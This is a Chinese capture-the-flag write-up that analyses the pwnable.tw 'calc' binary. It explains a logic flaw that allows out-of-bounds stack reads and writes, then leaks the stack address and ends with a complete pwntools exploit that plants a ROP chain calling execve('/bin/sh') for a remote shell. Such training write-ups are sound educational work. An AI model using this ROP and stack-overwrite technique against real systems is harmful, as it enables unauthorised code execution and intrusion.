和媳妇一起学Pwn 之 calc

漏洞点是:因一个逻辑漏洞引发的栈上数组越界读写

利用方式:通过输入畸形表达式触发该漏洞,构造ROP链覆盖栈上的返回地址,进而控制流劫持getshell

题目地址:https://pwnable.tw/challenge/#3
参考WP:徐老师 Pwnable.tw刷题之calc

检查

➜  file calc 
calc: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=26cd6e85abb708b115d4526bcce2ea6db8a80c64, not stripped
➜  checksec calc 
[*] '/Users/wangyuxuan/Desktop/pwnable/calc/calc'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

32位静态链接的程序

分析

运行发现是一个计算器:

➜  ./calc
=== Welcome to SECPROG calculator ===
1+1
2

calc()

IDA打开calc函数:

unsigned int calc()
{
  int v1; // [esp+18h] [ebp-5A0h]
  int v2[100]; // [esp+1Ch] [ebp-59Ch]
  char v3; // [esp+1ACh] [ebp-40Ch]
  unsigned int v4; // [esp+5ACh] [ebp-Ch]

  v4 = __readgsdword(0x14u);
  while ( 1 )
  {
    bzero(&v3, 0x400u);
    if ( !get_expr(&v3, 1024) )
      break;
    init_pool(&v1);
    if ( parse_expr(&v3, &v1) )
    {
      printf((const char *)&unk_80BF804, v2[v1 - 1]);
      fflush(stdout);
    }
  }
  return __readgsdword(0x14u) ^ v4;
}

在unk_80BF804处按Y键更改变量类型,输入char,确定后即可看到打印的字符串:printf("%d\n", v2[v1 - 1]);

首先分析变量:

  • v1v2[100]这101个int型的栈上的内存占用404个字节,并且v1v2是连续存放的
  • 输入的表达式存储在v3这个变量数组中,可看出大小为1024个字节,便于分析可以更改v3的变量类型为char [1024]
  • v4是canary

然后分析逻辑:

  • get_expr(),发现只能输入0-9数字以及+-*/%这五种运算符
  • init_pool(),传入了变量v1的地址,由于v1v2是连续存放的,可以看到在这里一并清零了这101个变量
  • parse_expr(),传入了输入的表达式,和v1的地址,看名字是要解析并且计算了
  • printf(),最后打印了v2数组中的内容,并且用v1来索引,所以最后的结果是存储在v2数组中

parse_expr()

这个函数的逻辑有点长,所以首先我们要分析出逻辑主干,然后静下心来慢慢看,完整代码如下:

signed int __cdecl parse_expr(int a1, _DWORD *a2)
{
  int v2; // ST2C_4
  int v4; // eax
  int v5; // [esp+20h] [ebp-88h]
  int i; // [esp+24h] [ebp-84h]
  int v7; // [esp+28h] [ebp-80h]
  char *s1; // [esp+30h] [ebp-78h]
  int v9; // [esp+34h] [ebp-74h]
  char s[100]; // [esp+38h] [ebp-70h]
  unsigned int v11; // [esp+9Ch] [ebp-Ch]

  v11 = __readgsdword(0x14u);
  v5 = a1;
  v7 = 0;
  bzero(s, 0x64u);
  for ( i = 0; ; ++i )
  {
    if ( (unsigned int)(*(char *)(i + a1) - 48) > 9 )
    {
      v2 = i + a1 - v5;
      s1 = (char *)malloc(v2 + 1);
      memcpy(s1, v5, v2);
      s1[v2] = 0;
      if ( !strcmp(s1, "0") )
      {
        puts("prevent division by zero");
        fflush(stdout);
        return 0;
      }
      v9 = atoi(s1);
      if ( v9 > 0 )
      {
        v4 = (*a2)++;
        a2[v4 + 1] = v9;
      }
      if ( *(_BYTE *)(i + a1) && (unsigned int)(*(char *)(i + 1 + a1) - 48) > 9 )
      {
        puts("expression error!");
        fflush(stdout);
        return 0;
      }
      v5 = i + 1 + a1;
      if ( s[v7] )
      {
        switch ( *(char *)(i + a1) )
        {
          case 37:
          case 42:
          case 47:
            if ( s[v7] != 43 && s[v7] != 45 )
            {
              eval(a2, s[v7]);
              s[v7] = *(_BYTE *)(i + a1);
            }
            else
            {
              s[++v7] = *(_BYTE *)(i + a1);
            }
            break;
          case 43:
          case 45:
            eval(a2, s[v7]);
            s[v7] = *(_BYTE *)(i + a1);
            break;
          default:
            eval(a2, s[v7--]);
            break;
        }
      }
      else
      {
        s[v7] = *(_BYTE *)(i + a1);
      }
      if ( !*(_BYTE *)(i + a1) )
        break;
    }
  }
  while ( v7 >= 0 )
    eval(a2, s[v7--]);
  return 1;
}

首先可以知道第一个参数是输入表达式,第二个参数是放置结果的101个变量空间。利用编辑器的缩进功能可以看到for循环的大逻辑如下:

  for ( i = 0; ; ++i )
  {
    if ( (unsigned int)(*(char *)(i + a1) - 48) > 9 )
    {
    }
  }

这个判断的意思是如果是符号则进入if,虽然符号的ascii码小于9,但是这里是无符号整形的比较,所以是这么判断的。当发现输入的是符号的时候,进入如下判断:

if ( !strcmp(s1, "0") )     //检查这个符号之前的数是不是0,不许输入0
if ( v9 > 0 )               //如果这个数大于0,则放入结果空间里,结果索引加一
if ( *(_BYTE *)(i + a1) && (unsigned int)(*(char *)(i + 1 + a1) - 48) > 9 ) //不允许两个符号同时出现
if ( s[v7] )                //如果有前序运算符,进行运算符比较,然后计算
else                        //如果没有前序运算符,把当前运算符放入s数组中
if ( !*(_BYTE *)(i + a1) )  //如果是空字符,结束
    break;

eval()

最后看一下计算的函数,第一个参数是101个结果变量的首地址,第二个参数是运算符种类:

_DWORD *__cdecl eval(_DWORD *a1, char a2)
{
  _DWORD *result; // eax

  if ( a2 == 43 )
  {
    a1[*a1 - 1] += a1[*a1];
  }
  else if ( a2 > 43 )
  {
    if ( a2 == 45 )
    {
      a1[*a1 - 1] -= a1[*a1];
    }
    else if ( a2 == 47 )
    {
      a1[*a1 - 1] /= a1[*a1];
    }
  }
  else if ( a2 == 42 )
  {
    a1[*a1 - 1] *= a1[*a1];
  }
  result = a1;
  --*a1;
  return result;
}

可见是eval函数是通过a1[*a1 - 1] += a1[*a1];这种逻辑来实现计算的,其中*a1是那101个变量中的第一个变量,然后利用这个变量去数组中索引。

漏洞点

这题看了好久我也没看明白漏洞点在哪,感觉非常合理啊,不过让我们来缕一下他计算时所用的数据结构,主要有两个:

  • 一个101个结果变量那个数组,位于calc函数的栈上,这里我们称为:result
  • 还有一个运算符数组,位于parse_expr函数的栈上,这里我们称为:operater

运算:3+4

当我运算一个3+4时:

+-+                  +--------------------+
|2|                  |                    |
+-+                  | +                  |
+----------------+   |                    |
|3 4             |   |                    |
|                |   |                    |
|                |   |                    |
|                |   |                    |
|                |   |                    |
|                |   |                    |
|                |   |                    |
+----------------+   +--------------------+
    result                 operater

然后通过a1[*a1 - 1] += a1[*a1];这种逻辑计算,即:

  • *a1 == 2
  • *a1-1 == 1
  • a1[*a1 - 1] == a1[1] == 3
  • a1[*a1] == a1[2] == 4

最终会更新3的位置为为最终的计算结果为7,并且2处自减(eval()函数的逻辑中),如下:

+-+                  +--------------------+
|1|                  |                    |
+-+                  |                    |
+----------------+   |                    |
|7 4             |   |                    |
|                |   |                    |
|                |   |                    |
|                |   |                    |
|                |   |                    |
|                |   |                    |
|                |   |                    |
+----------------+   +--------------------+
    result                 operater

最后会根据printf("%d\n", v2[v1 - 1]);这个逻辑打印,即打印v2[0],就是result[1],就是7,计算正确

运算:+1

但是我如果运算一个+1,即输入表达式的第一项是个运算符:

+-+                  +--------------------+
|1|                  |                    |
+-+                  | +                  |
+----------------+   |                    |
|1               |   |                    |
|                |   |                    |
|                |   |                    |
|                |   |                    |
|                |   |                    |
|                |   |                    |
|                |   |                    |
+----------------+   +--------------------+
    result                 operater

然后通过a1[*a1 - 1] += a1[*a1];这种逻辑计算,即:

  • *a1 == 1
  • *a1-1 == 0
  • a1[*a1 - 1] == a1[0] == 1
  • a1[*a1] == a1[1] == 1

所以最终会更新a1[0]的位置,为2,然后a1[0]处还要自减一个,最终a1[0]处是1,结果如下:

+-+                  +--------------------+
|1|                  |                    |
+-+                  |                    |
+----------------+   |                    |
|1               |   |                    |
|                |   |                    |
|                |   |                    |
|                |   |                    |
|                |   |                    |
|                |   |                    |
|                |   |                    |
+----------------+   +--------------------+
    result                 operater

最后会根据printf("%d\n", v2[v1 - 1]);这个逻辑打印,即打印v2[0],就是result[1],就是1:

  ./calc     
=== Welcome to SECPROG calculator ===
+1
1

运算:+x

现在我们看一个更通用的+x的表达式会是什么计算结果:

+-+                  +--------------------+
|1|                  |                    |
+-+                  | +                  |
+----------------+   |                    |
|x               |   |                    |
|                |   |                    |
|                |   |                    |
|                |   |                    |
|                |   |                    |
|                |   |                    |
|                |   |                    |
+----------------+   +--------------------+
    result                 operater

然后通过a1[*a1 - 1] += a1[*a1];这种逻辑计算,即:

  • *a1 == 1
  • *a1-1 == 0
  • a1[*a1 - 1] == a1[0] == 1
  • a1[*a1] == a1[1] == x

所以最终会更新a1[0]的位置,为1+x,然后a1[0]处还要自减一个,最终a1[0]处是x,结果如下:

+-+                  +--------------------+
|x|                  |                    |
+-+                  |                    |
+----------------+   |                    |
|x               |   |                    |
|                |   |                    |
|                |   |                    |
|                |   |                    |
|                |   |                    |
|                |   |                    |
|                |   |                    |
+----------------+   +--------------------+
    result                 operater

最后会根据printf("%d\n", v2[v1 - 1]);这个逻辑打印,即打印v2[x-1],就是result[x],所以当x超出result长度时即可读取到栈上其他的数据,例如:

➜  calc ./calc     
=== Welcome to SECPROG calculator ===
+361
134517913

+361其实读取的是返回地址,后面再说

所以换句话说,+x这个表达式就可以完成数组的越界读

运算:+x+y

在+x的结果上:

+-+                  +--------------------+
|x|                  |  +                 |
+-+                  |                    |
+----------------+   |                    |
|x               |   |                    |
|                |   |                    |
|                |   |                    |
|                |   |                    |
|                |   |                    |
|                |   |                    |
|                |   |                    |
+----------------+   +--------------------+
    result                 operater

当处理到表达式最后的空字符时,会把y读到result数组中,不过这个读的过程,在parse_expr函数中如下:

if ( v9 > 0 )
{
  v4 = (*a2)++;
  a2[v4 + 1] = v9;
}

其中,a2的值现在是x,故会把y读到a2[x+1]的这个位置:

+------+             +--------------------+
|x+1   |             |                    |
+------+             | +                  |
+----------------+   |                    |
|x               |   |                    |
|                |   |                    |
|  .....y        |   |                    |
|                |   |                    |
|                |   |                    |
|                |   |                    |
|                |   |                    |
+----------------+   +--------------------+
    result                 operater

然后通过a1[*a1 - 1] += a1[*a1];这种逻辑计算,即:

  • *a1 == x+1
  • *a1-1 == x
  • a1[*a1 - 1] == a1[x]
  • a1[*a1] == a1[x+1] == y

所以最终会更新a1[x]的位置,假设a1[x]原来的值为o,则a1[x]为o+y,然后a1[0]处还要自减一个,最终a1[0]处是x,结果如下:

+------+             +--------------------+
|x     |             |                    |
+------+             |                    |
+----------------+   |                    |
|x               |   |                    |
|                |   |                    |
|   o+y y        |   |                    |
|                |   |                    |
|                |   |                    |
|                |   |                    |
|                |   |                    |
+----------------+   +--------------------+
    result                 operater

最后会根据printf("%d\n", v2[v1 - 1]);这个逻辑打印,即打印v2[x-1],就是result[x],就是o+y。这里我们发现我们修改了:

  • result[x]=o+y
  • result[x+1]=y

即+x+y这个表达式就可以完成数组的越界写,例如我们尝试一下:

➜  ./calc
=== Welcome to SECPROG calculator ===
+360
-4724328
+361
134517913
+360+10
-4724318
+361
10

总结

所以本题就是通过构造+x以及+x+y这两种类似的表达式(加减乘除均可),完成数组越界的读写,具体使用方式如下:

  • +x:数组越界读,读取result[x]
  • +x+y:数组越界写,一次会发生两处的写:result[x]=o+y以及result[x+1]=y

利用

分析栈布局

我们这里定义的result数组,就是在calc函数中的v1和v2,在IDA中可以看到v1和ebp的偏移为0x5a0:

int v1; // [esp+18h] [ebp-5A0h]

不过我们在使用即兴表达式进行越界读写的时候,数组是int型的,所以内存步长是4个字节,所以是0x5a0/4=360,所以返回calc的栈帧中的返回地址应该距v1有361个整型偏移,我们实验一下:

➜  ./calc
=== Welcome to SECPROG calculator ===
+361
134517913

转成16进制:134517913=0x8049499,在IDA中:

.text:08049494                 call    calc
.text:08049499                 mov     dword ptr [esp], offset aMerryChristmas ; 

果然是返回地址

ROP

本题是静态链接的程序,没有后门函数,也没有搜索到”/bin/sh”字符串,不过有int 0x80的gadget,所以需要找到一个可用的ROP链执行execve(“/bin/sh”,0,0)的系统调用,进而getshell。而且我们只能向栈上输入数据,所以”/bin/sh”这个字符串还得放到栈上,所以还需要知道栈的地址。执行有三个参数的系统调用需要控制4个寄存器,分别是eax,ebx,ecx,edx。32位的系统调用参数在这张表中可以查到:Linux System Call Table

通过ROPgadget这个工具:

➜ ROPgadget --binary ./calc --only 'pop|ret' | grep 'eax' 
➜ ROPgadget --binary ./calc --only 'pop|ret' | grep 'ecx'
➜ ROPgadget --binary ./calc --only 'int'

找到一些可用的gadget:

0x0805c34b : pop eax ; ret
0x080701d0 : pop edx ; pop ecx ; pop ebx ; ret
0x08049a21 : int 0x80

这里之前有个疑问,我现在是64位的ubuntu下执行32位的程序,execve的系统调用的只在32位下是11号啊?我应该用64位的系统调用号才对啊。而且我执行的原理是因为安装了相应的库,不过系统调用这个功能应该在linux 内核中呀,怎么可能通过安装一个库就达到了两种系统调用号的兼容呢?

后来找到了答案,是因为64位的系统调用正常应该是通过syscall指令执行的,而不是int 0x80指令,但是64位的ubuntu中保留了通过int 0x80进行系统调用的途径,所以可以执行成功。

泄露栈地址

我们知道通过+360就行泄露出old_ebp的值,即main函数的ebp,所以只要知道main函数到调用calc函数时的栈帧的长度,然后用old_ebp减去就能得到现在的ebp寄存器的值。这里可以静态分析,也可以动态调试获得该值。我是动态调试看的结果:

我们断在calc()刚刚打印完计算结果处,即0x0804941E这个地址:

➜  calc gdb -q ./calc 
Reading symbols from ./calc...(no debugging symbols found)...done.
gdb-peda$ b * 0x0804941E
Breakpoint 1 at 0x804941e
gdb-peda$ r
Starting program: /mnt/hgfs/桌面/pwnable/calc/calc 
=== Welcome to SECPROG calculator ===
+360
-12568

gdb断下观察EBP寄存器:

EBP: 0xffffcec8 --> 0xffffcee8 --> 0x8049c30 (<__libc_csu_fini>:	push   ebx)

由于我们打印出的是负数-12568,我们看一下这个负数的补码是啥:

#include<stdio.h>
int main(){
int a = -12568;
printf("%x",a);
}

结果为ffffcee8,可见只要把这个结果减上0x20就是现在的ebp寄存器的值

完整EXP

所以利用的步骤就是先泄露ebp的值,然后利用畸形表达式通过加加减减布置ROP链,然后getshell

from pwn import *
context(os='linux',arch='i386',log_level='debug')
io = remote("chall.pwnable.tw",10100)

# /bin/sh and gadget
a = int('/bin'[::-1].encode("hex"),16)
b = int('/sh'[::-1].encode("hex"),16)
pop_eax = 0x0805c34b
pop_edx_ecx_ebx = 0x080701d0
int_80 = 0x08049a21

# leak ebp
io.recv()
io.sendline("+360")
ebp = int(io.recv())-0x20
binsh_addr = ebp+8*4

# attack
ROP_chain = [pop_eax,11,pop_edx_ecx_ebx,0,0,binsh_addr,int_80,a,b]
for i in range(361,370):
	num = i - 361
	io.sendline("+"+str(i))
	tmp = int(io.recvline())
	if tmp<ROP_chain[num]:
		io.sendline("+"+str(i)+"+"+str(ROP_chain[num]-tmp))
	else:
		io.sendline("+"+str(i)+"-"+str(tmp-ROP_chain[num]))
	io.recvline()

io.sendline()
io.interactive()